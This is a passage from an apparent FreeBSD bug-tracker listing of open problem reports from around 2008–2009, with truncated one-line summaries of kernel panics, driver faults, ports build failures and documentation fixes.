[patch] /etc/network.subr: ipv6 rtsol on incorrect wla f www/132178 www Soekris not listed amoung hardware vendors f kern/132176 pf [pf] pf stalls connection when using route-to [regress o kern/132172 [panic] Page fault panic in scioctl and console-kit-da o kern/132165 [uart] [lor] LOR slock and uart_hwmtx f ports/132157 lwhsu [repocopy] rename net-p2p/museekplus to net-p2p/museek o www/132149 www Problem with submitting emails to freebsd-questions@fr o ports/132146 stas lang/ruby19: Problem with fork in Ruby 1.9.1 o kern/132145 fs [panic] File System Hard Crashes o kern/132129 [crypto] Device crypto makes the kernel unbootable o bin/132114 randi [patch] add new 'docs' virtual category to sysinstall o docs/132113 doc [handbook] Update handbook jails creation o bin/132112 [patch] devd(8) unnecessarily reconfigures carp(4) int o i386/132110 i386 [build] /libexec/ld-elf.so.1: /lib/libc.so.7: version o kern/132107 net [carp] carp(4) advskew setting ignored when carp IP us o kern/132104 [kernel] [patch] kenv(1) buffer overflow o ports/132100 x11 x11/xorg: Xorg server forgets pointer map after xlock o ports/132096 ahze devel/distcc: fixing valid shell for user distcc in pk f ports/132093 python lang/python26: python's subprocess.py fails with 'Inte f kern/132092 bz [jail] jail can listen on *:port when jail_socket_unix o www/132091 www russian freebsd copyright - wrong translation o usb/132080 usb [patch] [usb] Kernel panic after NOMEM caused by rum c o ports/132074 tdb [patch] - update security/f-prot to version 6.0.1 f kern/132068 fs [zfs] page fault when using ZFS over NFS on 7.1-RELEAS o usb/132066 usb [ukbd] Keyboard failure USB keyboard DELL 760 o ports/132053 ahze devel/distcc: unfetchable Avahi patch support (distcc- p kern/132042 rnoland [drm] [panic] drm module crash the system when closing o ports/132041 x11 x11/xorg: Broken Intel video driver o usb/132036 usb [panic] page fault when connecting Olympus C740 camera o amd64/132019 amd64 [install] kernel trap 12 while installation o ports/132010 girgen databases/postgresql83-server: PostgreSQL Cluster Init o conf/132008 [PATCH] to allow using section/nosection in KERNCONF o kern/132001 [patch] [ixgb] driver update p bin/131999 chflags(1): unable to unset flags on symlinks when lin o kern/131995 fs [nfs] Failure to mount NFSv4 server f ports/131991 itetcu audio/musicpd 0.14.1_1 doesn't recognize URI scheme fo o ports/131969 nobutaka Port update: multimedia/libdvdnav - Proposal to switch o docs/131968 danger ipnat man page points to wrong directory o ports/131938 girgen vuxml submission for net/tptest o kern/131933 [uart] [patch] Cannot detect Sony Ericsson GC89 EDGE/W o ports/131930 x11 [PATCH] x11-servers/xorg-server coredumps on exit o docs/131918 doc [patch] Fixes for the BPF(4) man page o usb/131912 usb [uslcom] [patch] New devices using Silicon Labs chips o amd64/131906 amd64 [ata] SATA data corruption with Promise PDC20378 (amd6 o usb/131900 usb [usbdevs] [patch] Additional product identification co o kern/131876 rwatson [socket] FD leak by receiving SCM_RIGHTS by recvmsg wi f www/131863 www Please add to Commercial Vendors listing o bin/131861 mail(1) misses addresses when replying to all o bin/131853 cron(8): please add support for CRON_TZ and CRON_WITHI o kern/131817 ipfw [ipfw] blocks layer2 packets that should not be blocke o ports/131802 bsam New port: emulators/linux-f8-systemsim-cell o bin/131800 rpcbind(8) fails to start in jail f kern/131798 gavin [ukbd] usb keyboard doesn't work with motherboard inte f kern/131796 [ata] Introducing new USB or eSATA disks results in at o kern/131784 [lor] triple LOR after hard reboot o kern/131781 net [ndis] ndis keeps dropping the link o kern/131776 net [wi] driver fails to init o bin/131774 cvs(1) commits files then aborts f ports/131758 itetcu net/tightvnc in a jail stopped working after multiple o kern/131753 net [altq] [panic] kernel panic in hfsc_dequeue o ports/131726 x11 x11-servers/xorg-server: xorg server messes with my eh o kern/131718 [lor] kern_sysctl.c / acpi_video.c o ports/131696 x11 x11-servers/xorg-server: hald core dumps make X11 unus o docs/131684 doc [patch] articles/linux-comparison: replace Addenda by o ports/131664 skv lang/perl5.8: perl5.8.9 segfaults with devel/p5-ReadLi o docs/131626 pgj [patch] dump(8) "recommended" cache option confusing o docs/131625 pgj [patch] Typos in ed(1) man page o kern/131623 [libc] gethostbyname(2): output of gethostbyname_r doe f kern/131602 gavin [libc] sendfile(2) sends corrupted data o kern/131601 ipfw [ipfw] [panic] 7-STABLE panic in nat_finalise (tcp=0) o bin/131598 cperciva freebsd-update(8) doesn't interact well with custom ke o kern/131597 [kernel] c++ exceptions very slow on FreeBSD 7.1/amd64 o docs/131590 doc [patch] whitespace-only change of developers-handbook/ o docs/131584 pgj Update/correct Handbook section 30.5.7 IPMON Logging o usb/131583 usb [umass] Failure when detaching umass Device o ports/131579 kuriyama security/gnupg reads security/gnupg1 data incorrectly o usb/131576 usb [aue] ADMtek USB To LAN Converter can't send data f kern/131573 [mutex] lock_init() assumes zero-filled struct f kern/131571 gavin [apic] [panic] Running with APIC enabled crashes a Sup o bin/131567 net [socket] [patch] Update for regression/sockets/unix_cm o docs/131562 doc [patch] groff(1): don't corrupt man pages by replacing o kern/131558 ipfw [ipfw] Inconsistent "via" ipfw behavior o ports/131554 stas net-mgmt/flow-tools: flow-capture consuming all availa o kern/131549 net ifconfig(8) can't clear 'monitor' mode on the wireless o power/131548 ppc ofw_syscons no longer supports 32-bit framebuffer s ports/131537 jpaetzel [PATCH] devel/py-yaml: update to 3.08 o kern/131536 net [netinet] [patch] kernel does allow manipulation of su o ports/131526 lang/cmucl: CMUCL for FreeBSD 7 o ports/131524 hrs japanese/kinput2 with wnn failed by SEGV in amd64 o usb/131521 usb Registering Belkin UPS to usb_quirks.c o www/131493 www sshd(8) and sshd_config(8) on-line man pages outdated o amd64/131456 amd64 ACPI & ATA problems o ports/131452 portmgr [PATCH] Fix the problem usage MASTER_SITE_SUBDIR witho o kern/131448 Bad display while booting s ports/131447 jpaetzel [PATCH] multimedia/transcode: update to 1.1.0 o kern/131441 unionfs and/or nullfs not combineable o ports/131440 portmgr [feature request] add INDEX.bz2 and checksums to PACKA o ports/131439 portmgr inconsistencies on PACKAGESITEs o bin/131427 [patch] Add to fetch(1) an ability to limit a number o o i386/131426 i386 hald makes cdrom fail o bin/131415 keystrokes are unregulary sent to Geli when typing pas o ports/131413 danfe x11/nvidia-driver does'nt work after ABI libxcb change o docs/131370 keramida glabel(8): geom_label needs clarification in docs a bin/131369 delphij truss(1): truss -f fails to attach to child processes o i386/131367 rnoland Intel i845 video -> X makes system unusable requiring o bin/131365 net route(8): route add changes interpretation of network o kern/131360 fs [nfs] poor scaling behavior of the NFS server under lo o bin/131359 cperciva freebsd-update(8): freebsd-update tag file not updated o bin/131358 cperciva freebsd-update(8): Update servers for freebsd-update a s bin/131354 des ssh: SSH session hangs o kern/131353 geom [geom] gjournal(8) kernel lock o kern/131342 fs [nfs] mounting/unmounting of disks causes NFS to fail o bin/131341 fs makefs: error "Bad file descriptor" on the mount poin o ports/131331 multimedia multimedia/ffmpeg: doc/texi2pod.pl bad perl path o amd64/131314 amd64 [modules] [panic] large modules fail to load on amd64 o kern/131302 powerd(8): powernow0: set freq failed, err 6 o kern/131290 [hang]: How to completely freeze FreeBSD 7.1 under a n o ports/131274 roam mail/vpopmail: vpopmail + openldap core dump p bin/131250 bz [patch] ppp(8) proxyarp does not work o ports/131242 krion security/gsasl does not link if krb5-1.6.3_5 is instal o ports/131234 mi print/lyx: Propose making Lyx 1.5.x the default port o ports/131225 perl math/PDL: PDL-2.4.3_5: Unable to find PDL/pdldoc.db s ports/131218 www/privoxy+ipv6: /etc/rc: WARNING: run_rc_command: ca o amd64/131209 amd64 [panic] [bce] 7.1-STABLE amd64 crash - m0 NULL o kern/131162 net [ath] Atheros driver bugginess and kernel crashes o kern/131153 net [iwi] iwi doesn't see a wireless network o bin/131143 [patch] amd(8) causes annoying "embedded slash in map f usb/131123 usb [patch] re-add UQ_ASSUME_CM_OVER_DATA USB quirk o bin/131113 mount(8) hangs on attempt to remount as rw o ports/131112 ale [ PATCH ] databases/mysql51-server - Incompatible WITH o ports/131111 sem ports-mgmt/portupgrade-devel: completely removes packa o bin/131094 dhclient(8) sets wrong IP address f ports/131093 jpaetzel chrooting net/isc-dhcp30-server to aliased /home can c f kern/131087 net [ipw] [panic] ipw / iwi - no sent/received packets; iw o kern/131086 fs [ext2fs] [patch] mkfs.ext2 creates rotten partition o usb/131074 usb no run-time detection of usb devices plugged into exte o misc/131059 [tinybsd] [patch] tinybsd MFSROOT option suggests YES/ s ports/131055 danfe audio/ardour VST SDK distinfo o bin/131042 mount_ntfs(8) does not like fstab entry p kern/131038 bz [ip6] [panic] kernel panic in ip6_forward o kern/131037 geom [geli] Unable to create disklabel on .eli-Device o kern/131032 scsi [panic] hald causing panic in scsi_sg o ports/131016 x11 x11/xorg - xorg-7.4 renders system unusable! o bin/131013 pw(8) does not update NIS group file o kern/130998 [dtrace] DTrace stops tracing because of struct thread o ports/130995 ale Add php-fpm to lang/php5 o bin/130993 pkg_add(1): pkg_add -n falsely reports present local p f kern/130982 gavin [install] The installation hangs o kern/130979 fs [smbfs] [panic] boot/kernel/smbfs.ko o kern/130957 jhb [pci] /sys/dev/pci/pci.c revision 181771 breaks networ o bin/130954 ps(1): can not obtain which process take all CPU time f kern/130941 gavin [panic] [cd9660] [geom] unexpected crash due to page f o kern/130920 fs [msdosfs] cp(1) takes 100% CPU time while copying file o ports/130899 lev devel/subversion doesn't install with PREFIX != /usr/l o docs/130895 doc No man page installed for padlock(4) on amd64 sytstem f amd64/130885 amd64 sockstat(1) on amd64 does not work o bin/130874 [patch] fix typo in nvi(1) (subsitution -> substitutio o amd64/130864 amd64 [hang] Problem with copying files to a large partition o misc/130856 [build] [patch] make installworld work when WITHOUT_GA o bin/130855 [PATCH] add a chown(8)/chgrp(8) -x option to avoid cro o bin/130831 csh(1) core dumps after building libiconv-1.1x from s f kern/130820 net [ndis] wpa_supplicant(8) returns 'no space on device' o amd64/130817 amd64 FreeBSD does not support HP DL160G5 [regression] o ports/130811 doceng [PATCH] Floating point exceptions Ghostscript 8.63 (pr o kern/130794 [ata] hw.ata.ata_dma_limit without any effect f conf/130776 ip addresses like 10.1.1.1 with subnet mask 255.0.0.0 o ports/130772 shaun news/inn: innd core dumps at startup after perl upgrad o kern/130749 [libc] [patch] nscache.c/nscachedcli.c - return error o docs/130742 doc [patch] articles/geom-class: russian translation is mi o usb/130736 usb Page fault unplugging USB stick o kern/130735 scsi [cam] [patch] pass M_NOWAIT to the malloc() call insid o misc/130728 There are 4-clause BSDL files in src/ o kern/130726 [ata] DMA errors accessing multiple SATA channels o kern/130724 emulation [linprocfs] [patch] cpuinfo in linprocfs is dated, cau o ports/130719 www/nspluginwrapper installs plugins in the old direct o ports/130715 New Port:devel/binutils-2.19 o docs/130699 netchild MFILEs in /usr/src/tools/kerneldoc/subsys/Makefile are o kern/130698 [boot] FreeBSD 8-CURRENT does not start any more since o kern/130683 acpi [ACPI] shutdown hangs after syncing disks - ACPI race? o ports/130677 portmgr bsd.port.mk: Centralize handling of CPPFLAGS o ports/130675 [NEW PORT] devel/ocfpcsc: Open Card Framework to PC/SC o kern/130657 bz [ip6] [patch] ipv6 class option o bin/130655 randi sysinstall(8): no IPV4 if answer "no" when "Do you wan o ports/130629 skv [new port] lang/rakudo The Rakudo Perl 6 Compiler o kern/130628 net [nfs] NFS / rpc.lockd deadlock on 7.1-R o www/130627 www Submission for www/en/platforms/amd64/motherboards.sgm o kern/130621 scsi [mpt] tranfer rate is inscrutable slow when use lsi213 f ports/130569 multimedia multimedia/gstreamer: gnome-volume-control menu item d o conf/130555 net [rc.d] [patch] No good way to set ipfilter variables a p docs/130548 geom [patch] gjournal(8) man page is missing sysctls o ports/130547 mnag libspf2 listed in VuXML but no activity o ports/130541 jpaetzel new port: net/isc-dhcp41-server o docs/130530 doc atacontrol(8) does not mention SATA300 mode (or SATA15 o kern/130528 geom gjournal fsck during boot o kern/130525 net [ndis] [panic] 64 bit ar5008 ndisgen-erated driver cau o kern/130512 [ipmi] [patch] Various mistakes in IPMI watchdog handl o kern/130504 [libc] Serious bug in regular expression library (rege o amd64/130494 amd64 [boot] netbooting BTX fails on amd64 o amd64/130483 amd64 [mxge] MSI must be disabled when Myricom 10Gbps Card i o ports/130481 krion x11/xterm should be built with Unicode support by defa o ports/130479 apache www/apache20 and www/apache22 configure_args busted s kern/130478 x11 [request] Port Linux kernel stub of nouveau to FreeBSD o kern/130476 [build] [patch] Error in compiling kernel with device o conf/130414 rc [patch] rc services started with onestart are not stop o docs/130394 jb [patch] Minor typo in dtrace(1M) man page o ports/130387 portmgr [PATCH] Mk/bsd.port.mk - Add macros for COPYTREE_WWW a a kern/130386 rwatson [patch] add locking for generic interface address mani o conf/130381 pf [rc.d] [pf] [ip6] ipv6 not fully configured when pf st o ports/130379 cy sysutils/screen : can't use it after a jail_attach() c o amd64/130368 amd64 [hang] Switching from xorg to console locks up compute o bin/130366 randi [patch] sysinstall(8): Minor correction to sysinstall f amd64/130365 gavin [ata] Elitegroup A780GM-A Chipset:AMD 780G&SB700 IDE c o docs/130364 doc Man page for top needs explanation of CPU states o misc/130361 FREEBSD 7.X does not install properly from FTP server o bin/130343 top(1): kvm_open: cannot open /proc/42997/mem corrupts f www/130340 www Submission for ISP page f ports/130335 brooks Port lang/llvm-gcc4: .././../gcc/libgcc2.c: In functio o ports/130331 danfe games/battletanks is broken on FreeBSD 7.x o kern/130330 scottl [mpt] [panic] Panic and reboot machine MPT driver when f kern/130329 gavin [myk] panic o usb/130325 usb [usb] [patch] fix tools/tools/usb/print-usb-if-vids.sh o kern/130311 net [wlan_xauth] [panic] hostapd restart causing kernel pa p bin/130298 stefanf sh(1) does not handle negation correctly in complex co o kern/130286 [patch] hifn(4) changes o kern/130261 [kernel] [panic] kernel panic in/below sys_pipe.c:knli o bin/130251 nm(1): 'nm -C' doesn't demangle any 't' symbol names o docs/130239 cperciva md5(1); md5 is reported to be compromised, but manpage o docs/130238 doc nfs.lockd man page doesn't mention NFSLOCKD option or f ports/130236 stefan libpbl-1.03 (databases/libpbl) is broken, spamprobe-1. o usb/130230 usb Samsung Electronics YP-U3 does not attach in 7.1-RELEA o kern/130229 fs [iconv] usermount fails on fs that need iconv o ports/130228 perky [UPDATE] korean/nabi to 0.99.3 o kern/130222 harti bsnmpd snmp_hostres.so always returns 100% CPU o ports/130218 haskell [UPDATE] lang/ghc - update to 6.10.1 o ports/130217 haskell [UPDATE] lang/ghc-doc - update to 6.10.1 o kern/130210 fs [nullfs] Error by check nullfs f ports/130209 www/typo3 upgrade removes configuration o usb/130208 usb Boot process severely hampered by umass0 error s ports/130199 chinsan [PATCH] audio/mp3info: take maintainership s ports/130198 chinsan [PATCH] audio/libshout2: take maintainership o ports/130183 hoek [PATCH] converters/xdeview switch to USE_TCL o kern/130171 [ata] UDMA CF cards do not work with FreeBSD p bin/130159 bz [patch] ppp(8) fails to correctly set routes o ports/130146 multimedia [PATCH] multimedia/transcode: update to 1.0.7 f kern/130133 kmacy [panic] [zfs] 'kmem_map too small' caused by make clea o bin/130132 ipfw [patch] ipfw(8): no way to get mask from ipfw pipe sho o usb/130122 usb [newusb] DVD drive detects as 'da' device o i386/130110 i386 [boot] BTX-Halted - booting with SAS/SATA Controller o kern/130109 net [ipfw] Can not set fib for packets originated from loc a kern/130107 dfr [devctl] [patch] in devctl_queue_data(): possible use f amd64/130103 vwe [hang] 7.1-RC X -> systemcrash o misc/130089 remko I can't find Myanmar BSD user group f usb/130076 vwe Panic when connecting USB camera o stand/130067 standards Wrong numeric limits in system headers? s ports/130065 pav devel/stlport update to 5.2.1 and problems f kern/130059 net [panic] Leaking 50k mbufs/hour o bin/130056 [patch] have nfsstat(1) use strtonum instead of atoi o kern/130021 Switching CAPS/NUM LOCK or virtual terminal freezes co a kern/130018 [ata] Marvell 6145 ata controller gets detected as PAT o bin/129989 cperciva portsnap(8) quietly forgets to fetch some ports a ports/129971 dinoex x11/gskrab: GSkrab does not compile on -current o www/129969 www Need 301 moved permanently errors returned for www.fre o bin/129967 des unzip(1): /usr/bin/unzip missing -v option. o bin/129965 [patch] ps(1): ps -lH doesn't show the proper CPU# o docs/129962 usb [newusb] usbconfig(8) refers to non-existant usb2_core o i386/129953 acpi [acpi] ACPI timeout (CDROM) with Shuttle X27D o usb/129945 usb [usbdevs] [patch] add u3g support for Longcheer WM66 U o ports/129930 sem ports-mgmt/portupgrade - portinstall tries to install o www/129923 www Need stylesheet for FreeBSD Subversion DAV tree o ports/129891 sem ports-mgmt/portupgrade fails to recognize variations o o amd64/129889 amd64 [boot] [hang] The booting process stops at the line mo o kern/129861 pf [pf] [patch] Argument names reversed in pf_table.c:_co o ports/129859 kuriyama net/relayd - ssl random number generation p usb/129858 remko [usb] [patch] Need to add quirk to da_scsi.c to suppor o ports/129852 cjh [UPDATE] www/qdecoder o ports/129824 hrs print/acroread8 - help viewer does not work o bin/129814 [patch] support of per script nice(1) value in periodi o ports/129813 delphij [PATCH] net/openldap24-server: RC script assumes too m o ports/129802 mnag net-mgmt/Ettercap 7.3 wont build o ports/129800 multimedia Update port: multimedia/ffmpeg avoid crash in multimed p kern/129793 bz [ip6] [patch] Locking related leaks in the kernel (rou o ports/129790 lioux [PATCH] net-p2p/mldonkey: Fix rc start script o kern/129784 [ata] [patch] SATA port multiplier disk detect bugs in o ports/129782 tmclaugh [PATCH] security/sudo: update to 1.7.0 o bin/129771 randi sysinstall(8): 7.1 RC1 sysinstalls installs boot0 even o usb/129766 usb [usb] plugging in usb modem HUAWEI E226 panics system o bin/129764 [patch] unbreak sbin/newfs build for the 8-CURRENT o bin/129762 sysinstall(8) doesn't seem to support GPT for EFI boar o kern/129760 fs [nfs] after 'umount -f' of a stale NFS share FreeBSD l o usb/129758 usb [uftdi] [patch] add Pyramid LCD usb support o kern/129750 net [ath] Atheros AR5006 exits on "cannot map register spa o ports/129741 portmgr [patch] bsd.port.mk: support systems that have been bu o kern/129730 qingli [arp]: respond with wrong ARP. o amd64/129721 amd64 [hang] Motherboard K9N2G Neo-FD hangs on boot of 7.0-R f kern/129719 net [nfs] [panic] Panic during shutdown, tcp_ctloutput: in o kern/129713 [pci] pci-pci bridge quirk with ich7 chipset not handl o bin/129706 top(1) corrupts SIZE field when a process allocates 20 o conf/129697 [patch] fix misbehavior of periodic/daily/100.clean-di o ports/129687 obrien [patch] unbreak net/tcpshow for gcc-4.2.1 a docs/129684 trhodes gcache.8 man page missing o ports/129682 sobomax net/asterisk app_meetme issue f ports/129677 /usr/ports/sysutils/aaccli Bad system call: 12 (core d o kern/129674 geom [geom] gjournal root did not mount on boot o usb/129673 usb [uhci] uhci (uhub) confused on replugging USB 1.1 scan o docs/129671 doc New TCP chapter for Developer's Handbook (from rwatson o amd64/129667 amd64 [ata] Elitegroup A780GM-A IDE controller not recognize p kern/129665 rik [uart] Oxford OX16PCI958 8-serial multiport card is no o kern/129663 rik [uart] Timedia-based 8-serial multiport card: only two o kern/129645 geom gjournal(8): GEOM_JOURNAL causes system to fail to boo p bin/129630 [patch] bsnmpd(1): teach hostres module about ZFS o ports/129626 perl lang/p5-Tcl segfaults on i386 and amd64 on FreeBSD 7 o www/129622 www amd64 motherboard - new board to add to the supported o bin/129620 [patch] Incorrect bzip2(1) behavior o kern/129618 acpi [acpi] Problem with ACPI on HP Pavilion DV2899 laptop o kern/129604 multimedia [pcm]: Sound stops with error: pcm0:virtual:dsp0.vp0: o kern/129602 scsi [ahd] ahd(4) gets confused and wedges SCSI bus o kern/129580 net [ndis] Netgear WG311v3 (ndis) causes kenel trap at boo o ports/129579 cjh Consider upgrading korean/baekmukfonts-{bdf,ttf} to 2. o ports/129577 des [PATCH] sysutils/munin-main: does not honor BATCH/PACK o ports/129576 des [PATCH] sysutils/munin-node: does not honor BATCH/PACK f misc/129573 FreeBSD-7.1-RC1 fails to install man pages and doc dis o kern/129563 acpi [acpi] sleep broken on IBM/Lenovo T61 in amd64 mode o ports/129553 hrs [patch] print/acroread8 can't launch some programs due o i386/129550 i386 [pae] [kqueue] crash with PAE kernel o bin/129541 [nis] passwd(1) cannot be forced to "yp" mode in some o stand/129524 standards FreeBSD 7.0 isnt detecting my hardrives with raid5 o usb/129522 usb [ubsa] [patch] add support for ZTE AC8700 modem o ports/129518 gerald lang/gcc42 - g++42 uses wrong libstdc++.so and libgcc_ o kern/129517 net [ipsec] [panic] double fault / stack overflow o kern/129508 net [carp] [panic] Kernel panic with EtherIP (may be relat o usb/129500 usb [umass] [panic] FreeBSD Crashes when connecting SanDis o kern/129488 fs [smbfs] Kernel "bug" when using smbfs in smbfs_smb.c: p kern/129477 delphij [request] resolver(5): knob to force standards complia o docs/129464 tabthorpe using packages system o ports/129435 java/jakarta-commons-dbcp not BROKEN on jdk15 o bin/129431 cperciva freebsd-update(8) fetch fails because phttpget fails p o amd64/129426 amd64 [panic] FreeBSD 7.0 crash after subdiskXX: detached o ports/129422 ume [patch] mail/cyrus-imapd23: add patch for autocreate I o ports/129411 nemoliu Fix shutdown script for www/tomcat6 o bin/129405 [patch] tcsh(1) vfork bugs o www/129401 www FreeBSD Multimedia page should automatically pick up Y p docs/129398 trhodes [patch] ddb(8): various tweaks to ddb-related man page o bin/129378 csh(1) / tcsh(1) loses foreground process group [regre o kern/129373 [ata] [panic] Panic in ata-queue, VIA CLE266, 7.1-BETA o kern/129352 net [xl] [patch] xl0 watchdog timeout o www/129331 www Supported motherboard Gigabyte GA-MA78GPM-DS2H o kern/129316 [sio] [panic] kernel panic (pcpu.h:195; support.s:499) o amd64/129315 amd64 [boot] [reboot] amd64 motherboard: Intel DG965WH mothe o usb/129311 usb [usb] [panic] Instant crash with an USB card reader o ports/129300 obrien [vuxml] editors/vim: document CVE-2008-3432 o bin/129287 [request] powerd(8) should grow signals to switch betw o docs/129281 blackend Audio CD ripping/duplication shouldn't recommend the u o misc/129267 [build] make buildworld errors on RELENG_7 with gcc 4. o kern/129261 simokawa [firewire] Kernel crash on boot with disconnected fire o usb/129251 usb [usbdevs] [patch] Liebert UPS being assigned uhid and s bin/129248 [request] FreeBSD's syslog(8) can't support log encodi o kern/129245 geom [geom] gcache is more suitable for suffix based provid o kern/129231 fs [ufs] [patch] New UFS mount (norandom) option - mostly f ports/129224 brooks ports/lang/llvm-gcc4 compilation error: .././../gcc/l o kern/129219 net [ppp] Kernel panic when using kernel mode ppp o ports/129210 portmgr [patch] Instrument bsd.port.mk to detect unstripped bi o ports/129198 clsung databases/p5-DBD-SQLite fails when SQLite is compil o kern/129197 net [panic] 7.0 IP stack related panic o docs/129196 doc Inconsistent errno in strtol() o ports/129190 kde x11/kde4: KDE4 kdm doesn't launch o usb/129173 usb [uplcom] [patch] Add support for Corega CG-USBRS232R a o kern/129172 [libc] signals are not delivered always o kern/129169 emulation [linux] [patch] Linux Emulation ENOTCONN error using n o ports/129165 perky [Update]databases/zodb3:update to 3.8.1 o kern/129164 [kernel] Wrong priority value for normal processes o kern/129152 fs [panic] non-userfriendly panic when trying to mount(8) f i386/129149 vwe [panic] 6.4-RC2 page faults during kernel-mode boot pr o kern/129148 fs [zfs] [panic] panic on concurrent writing & rollback o ports/129147 gecko can't use deskutils/lightning-xpi under current amd64 o kern/129135 net [vge] vge driver on a VIA mini-ITX not working o kern/129132 [nfs] 7.1-Beta2 nfsd cannot lock o kern/129125 [psm] psm0: failed to reset the aux device. o ports/129122 openoffice editors/openoffice.org-3: building OpenOffice.org-3.0. o kern/129103 ipfw [ipfw] IPFW check state does not work =( o kern/129098 [panic] vinvalbuf: dirty bufs on 6-STABLE o docs/129095 doc ipfw(8): Can not check that packet originating/destine o kern/129093 ipfw [ipfw] ipfw nat must not drop packets s ports/129071 pgollucci net-mgmt/net-snmp: net-snmpd pegs cpu on sparc64 and f o kern/129059 fs [zfs] [patch] ZFS bootloader whitelistable via WITHOUT o kern/129053 [lor] lock order reversal with printf(9) o bin/129052 ps(1) %cpu column reports misleading data for threaded f kern/129040 gavin [install] Lockup during boot - Cannot install the OS o kern/129036 ipfw [ipfw] 'ipfw fwd' does not change outgoing interface n o docs/129024 keramida [patch] ipfw(8) improvements o bin/129014 [regression] ftp(1) cannot bind to specific source IP o conf/128994 UPDATING falsly states DTrace bindings are built by de s usb/128990 usb [usb] u3g does not handle RTS/CTS available on for exa p arm/128987 stas [patch] Fix at91_mci and use 1-bit mode. f amd64/128978 amd64 [install] FreeBSD 6.3 64-bit panics at boot time duri o usb/128977 usb [usb] [patch] uaudio is not full duplex o ports/128972 cy Port security/krb5 has a linking problem when compiled o bin/128954 net ifconfig(8) deletes valid routes o ports/128952 apache [NEW PORT] java/javadb: Sun's supported distribution o o java/128948 java java/jdk16 built from source can't bind a socket, but o www/128943 www dmesg output for ASUS M3A79-T running FreeBSD-7.1-PRER o kern/128933 [libc] realpath(3) does not follow SUS specification f o threa/128922 threads threads hang with xorg running o kern/128917 net [wpi] [panic] if_wpi and wpa+tkip causing kernel panic o bin/128886 ntpd(8): ntpd -L flag doesn't work o kern/128884 net [msk] if_msk page fault while in kernel mode o ports/128881 sem ports-mgmt/portupgrade backtrace f conf/128874 [termcap] termcap entry for rxvt missing :AX: capabili o kern/128870 [pccbb] Interrupt Storm when plugging in PCMCIA Card ( p bin/128842 attilio ps(1) command output includes thread name only when it p bin/128841 attilio ps(1) PADDR (and others?) field width insufficient for o kern/128840 net [igb] page fault under load with igb/LRO o ports/128838 des [PATCH] www/varnish 2.0.1 enhancements f kern/128829 fs smbd(8) causes periodic panic on 7-RELEASE o amd64/128810 amd64 AMD 64 port installation o java/128809 java JVM aborted when GNU RXTX write to serial port. o usb/128803 usb [usbdevs] [patch] Quirk for I-Tuner Networks USBLCD4X2 o ports/128787 doceng print/ghostscript8 8.63 fails with -sDEVICE=ijs -sIjsS o ports/128783 stas net-mgmt/flow-tools: flow-send Does not work on freebs o ports/128782 ume [PATCH] mail/cyrus-imapd23 2.3.13 o docs/128768 delphij Missing documentation about tmpfs mount options o amd64/128765 amd64 [install] Install CD loads to Install choices but stop p usb/128760 cperciva [ums] [patch] patch for Microsoft Comfort Optical Mous o ports/128754 portmgr bsd.port.mk: implement master sites randomization f usb/128745 weongyo zyd teoretically supported usb device makes kernel pan o bin/128727 host(1) does not work properly with the -6 option o ports/128726 mi [NEW PORT] print/lyx16: Document processor interfaced o bin/128725 [patch] whois(1) does not correctly send queries regar o kern/128714 gmtime(3) infine loop o docs/128711 blackend Re: [patch] for handbook browsers page o ports/128696 nobutaka Update textproc/uim and new package request textproc/u f ports/128694 gecko www/firefox3 - Firefox 3 corrupts PostScript printer f o kern/128689 [panic] www/apache22: Fatal trap 12: page fault while o amd64/128686 amd64 [ata] can't detect SATA Disk on 8.0-Current with NF550 o bin/128668 [request] Kerberos in the base system is too old o bin/128654 atacontrol(8) does not preserve rebuild status through o kern/128648 [drm] [hang] crash when using 3D-acceleration with Int o gnu/128645 [patch] grep(1): teach grep -r to how to ignore direct f kern/128639 acpi [patch] [acpi_asus] acpi for ASUS A6F,A3E,A3F,A3N not f kern/128634 acpi [patch] fix acpi_asus(4) in asus a6f laptop o kern/128633 fs [zfs] [lor] lock order reversal in zfs o conf/128632 security periodic 700.kernelmsg repeats messages p bin/128616 kientzle [patch] bsdtar(1) error message typo p misc/128610 kensmith [patch] /usr/src: the iso.1 target of make release do o kern/128608 [pccbb] [patch] add support for powering down and up C o bin/128605 secteam [patch] dhclient(8) - security issue o ports/128603 [patch] textproc/flex has too small capacity o bin/128602 net [an] wpa_supplicant(8) crashes with an(4) o kern/128598 net [bluetooth] WARNING: attempt to net_add_domain(bluetoo o bin/128587 kensmith [patch] sysinstall(8) uses first mirror in Turkey even o bin/128582 [patch] wpa_cli(8): activate readline(3) support o kern/128577 [ixgbe] [patch] Send queue stall in ixgbe driver when o bin/128561 kientzle [patch] compile warning fixes for bsdtar test harness o ports/128556 mnag net/py-zsi installs with insufficient rights o stand/128546 standards ls -p does not follow symlinks o docs/128524 doc No geom documentation for loading gjournal(8) f ports/128522 stas Patch for graphics/lcms to add python binding f misc/128516 [build] /usr/src: "make doxygen" stops with error: mak o kern/128514 fs [zfs] [mpt] problems with ZFS and LSILogic SAS/SATA Ad o bin/128501 cperciva freebsd-update(8) does not work on netbooted machines o bin/128493 [patch] find(1) exits if -fstype test fails with EACCE o usb/128485 usb [umodem] [patch] Nokia N80 modem support o ports/128467 ale [patch] databases/php4-dba: change Berkeley DB detecti o bin/128465 [request] mount_smbfs(8) does not support IPv6 o kern/128452 scsi [sa] [panic] Accessing SCSI tape drive randomly crashe o kern/128448 net [nfs] 6.4-RC1 Boot Fails if NFS Hostname cannot be res o misc/128444 [build] [patch] create USB stick install image o conf/128433 [patch] Add option to allow a full login when doing 's o conf/128429 dougb Permissions of bind9 chroot 'master' directory o bin/128427 [patch] mdfs(8): mount_mfs warns "chmod: Read-only fil o usb/128425 usb [umass] Cannot Connect Maxtor Onetouch 4 USB drive f usb/128418 usb [panic] [rum] loading if_rum causes panic, looks like o java/128411 glewis jdk1.5 Querying JMX mbean OperatingSystem->TotalPhysic o docs/128356 doc [request] add Firefox plugin for FreeBSD manual pages o kern/128335 [patch] [cpufreq] Missing call to sbuf_delete() in two o conf/128334 net [request] use wpa_cli in the "WPA DHCP" situation o docs/128325 mckusick README.snapshots still refers to snaphots as "alpha-te o usb/128324 usb [uplcom] [patch] remove baud rate restriction for PL23 f bin/128312 vwe netstat(1): output field "Netif" too small f kern/128308 gavin [psm] psm0 cause page fault o kern/128304 vn_pollrecord(3) derefs NULL if v_addpollinfo() fails o conf/128299 rc [patch] /etc/rc.d/geli does not mount partitions using o bin/128295 net [patch] ifconfig(8) does not print TOE4 or TOE6 capabi o kern/128287 remko re(4) regression in 7.1 BETA2 o gnu/128284 gdb(1) segfaults f kern/128282 gavin [mpt] system failure on removing two drives o bin/128277 [patch] improvements for fwcontrol(8) utility f kern/128276 geom [gmirror] machine lock up when gmirror module is used o amd64/128263 